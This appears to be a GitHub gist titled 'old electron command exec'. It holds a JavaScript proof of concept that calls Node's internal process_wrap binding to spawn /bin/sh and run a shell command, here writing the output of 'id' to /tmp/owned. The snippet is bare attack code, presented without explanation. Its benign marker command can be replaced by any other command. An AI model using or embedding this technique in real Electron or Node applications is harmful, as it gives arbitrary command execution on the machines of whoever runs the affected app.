Skip to content

Instantly share code, notes, and snippets.

@thejh
Created October 25, 2016 19:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save thejh/3bac7b2c79cdaaf569c702d9080320ed to your computer and use it in GitHub Desktop.
Save thejh/3bac7b2c79cdaaf569c702d9080320ed to your computer and use it in GitHub Desktop.
old electron command exec
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'/bin/sh',args:['sh','-c','id > /tmp/owned'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment